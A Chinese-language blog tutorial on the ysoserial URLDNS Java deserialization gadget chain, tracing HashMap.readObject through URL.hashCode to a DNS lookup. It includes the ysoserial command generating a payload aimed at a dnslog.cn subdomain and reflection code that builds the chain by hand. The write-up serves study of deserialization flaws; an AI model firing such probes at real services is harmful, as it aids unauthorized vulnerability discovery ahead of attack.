在java反序列化那篇文章里面我们提到要借助一个简单的例子来了解java反序列化的gadget,URLDNS就是这么一个例子。

URLDNS是ysoserial的一个利用链,而ysoserial是java反序列化中最为有名的利用工具。

ysoserial生成URLDNS payload

首先下载ysoserial.jar: https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

在dnslog.cn上生成一个子域名 img.png

生成payload到URLDNS.ser:

1
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://kz3fay.dnslog.cn > URLDNS.ser

反序列化:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public class example {
    public static void main(String[] args) {
        try {
            String fileName = "./URLDNS.ser";
            
            FileInputStream f1 = new FileInputStream(fileName);
            ObjectInputStream in = new ObjectInputStream(f1);
            Object p1 = in.readObject();
            System.out.println(p1);
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

运行后刷新dnslog记录可以发现已经有了查询记录

原理

这后面发生了什么? 导致了dns查询的产生?

如果我们从零开始调试,可能会陷入复杂的调用链中,最后弃坑。 ~~

但是我们有ysoserial, 直接查看ysoserial的URLDNS payload生成代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
...

 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
...

ysoserial的注释里面说明了这个gadget链, 我们知道,在反序列化过程中,ObjectInputStream会自动 调用类的readObject方法。

看起来就是HashMap的readObject方法最后调到了URL的hashCode方法,最终导致了dns的查询。

知道了这点,我们就可以尝试构造代码去调试了。

调试

这一步,其实就跟静态分析的污点流追踪很相似了

污点流追踪: 存在一个source点, sink点, 使得source有到达sink点的路径

这里的source点是HashMap.readObject(); sink点是URL.hashCode()

sink

一般来说,先看sink点, 我们找到URL类的hashCode方法

1
2
3
4
5
6
7
public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

跟进handler.hashCode

img_2.png

看里面的getHostAddress(u), 这个函数就是触发dns操作的函数了。

source

接着我们来看source, 还是一样,看HashMap类的readObject方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
private void readObject(java.io.ObjectInputStream s)
    ...

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

代码很长,我缩减了一部分,但是无所谓,我们只要找到gadget提到的putVal函数就行了

putVal的第一个参数就调用了HashMap的hash方法, 点进hash方法:

1
2
3
4
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

好的, 我们看到了熟悉的hashCode函数。整个链就齐活了。

构造代码

捋完了整条链,我们可以构造代码实现dns查询了。

先查一下怎么样才能调用putVal, 很容易就查到,HashMap的标准使用put函数就调用了putVal

img_3.png

那么可以构造代码为:

1
2
3
HashMap map = new HashMap();
URL url = new URL("http://m8dn0w.dnslog.cn");
map.put(url,123);

运行即会获取到dns查询记录了

但是如果就这样序列化了上面的代码,再反序列化是不会触发dns查询的, 原因在于

1
2
3
4
5
6
7
public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

只有当hashCode的值为-1时,才会调用hashCode函数

然而hashCode的属性是private

img_4.png

不过无妨,我们可以通过反射去调用它, 最终代码为:

1
2
3
4
5
6
7
8
HashMap map = new HashMap();
URL url = new URL("http://9fl7lp.dnslog.cn");

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 绕过Java语言权限控制检查的权限
f.set(url,12334); // 设置hashcode的值为-1的其他任何数字
map.put(url,123);
f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发

将map序列化再反序列化,即可看到查询记录。

ysoserial的URLDNS也是这个思路,反正大差不差,唯一不同的是, 为了避免在生成payload的过程中产生dns查询的误报, ysoserial 定义了一个SilentURLStreamHandler

1
2
3
4
5
6
7
8
9
static class SilentURLStreamHandler extends URLStreamHandler {
        protected URLConnection openConnection(URL u) throws IOException {
                return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
                return null;
        }
}

在实例化时传入这个handler

img_5.png

由于在URL类中handler的类型为transient, 因为transient修饰符无法被序列化,所以虽然它最后是没执行dns请求,但是在反序列化的时候还是会执行dns请求!

img_6.png

此种方法确实会比我们用反射设置url不为-1来得优雅一点。